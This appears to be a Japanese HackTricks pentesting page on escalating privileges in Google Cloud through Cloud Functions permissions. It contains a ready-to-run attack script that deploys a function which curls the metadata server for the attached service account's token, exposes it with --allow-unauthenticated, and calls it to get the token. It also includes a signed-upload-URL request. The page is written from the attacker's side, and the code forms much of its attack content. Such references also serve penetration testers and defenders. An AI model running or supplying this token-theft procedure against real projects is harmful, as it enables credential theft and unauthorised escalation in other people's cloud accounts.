GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Cloud Functionsに関する詳細情報:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

これらの権限を持つ攻撃者は、任意の(悪意のある)コードを持つ新しいCloud Functionを作成し、それにService Accountを割り当てることができます。次に、メタデータからService Accountトークンを漏洩させて、その権限を昇格させます。 関数をトリガーするためにいくつかの権限が必要な場合があります。

この方法のためのエクスプロイトスクリプトはこちらこちらにあり、事前構築された.zipファイルはこちらにあります。

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

これらの権限を持つ攻撃者は、Functionのコードを変更し、トークンを抽出する目的で関連付けられたサービスアカウントを変更することができます

Cloud Functionsをデプロイするには、デフォルトのコンピュートサービスアカウントまたはイメージを構築するために使用されるサービスアカウントに対するactAs権限も必要です。

バージョン1のcloudfunctionsに対する.call権限や、関数をトリガーするためのrole/run.invokerロールなどの追加の権限が必要な場合があります。

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Permission 'run.services.setIamPolicy' denied on resource...というエラーが表示される場合は、--allow-unauthenticatedパラメータを使用しており、十分な権限がないためです。

このメソッドのエクスプロイトスクリプトはこちらで見つけることができます。

cloudfunctions.functions.sourceCodeSet

この権限を使用すると、関数バケットにファイルをアップロードするための署名付きURLを取得できます(ただし、関数のコードは変更されず、更新する必要があります)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

攻撃者の視点からこの権限がどれほど有用かはあまり確信が持てませんが、知っておくのは良いことです。

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

前述の**.updateまたは.create**のいずれかの権限を自分に与えて昇格します。

cloudfunctions.functions.update

**cloudfunctionsの権限だけでは、iam.serviceAccounts.actAs**がないと関数を更新することはできません。したがって、これは有効な昇格ではありません。

バケット書き込み権限

Cloud Functionsのコードが保存されているバケットに書き込み権限を持つ攻撃者は、function_code.zipを上書きしてコードを任意のコードに変更できると考えるかもしれません。

しかし、これは真実ではありません。バケット内のコードを上書きしても、実行されるコードは変更されません。

参考文献

HackTricksをサポートする

Last updated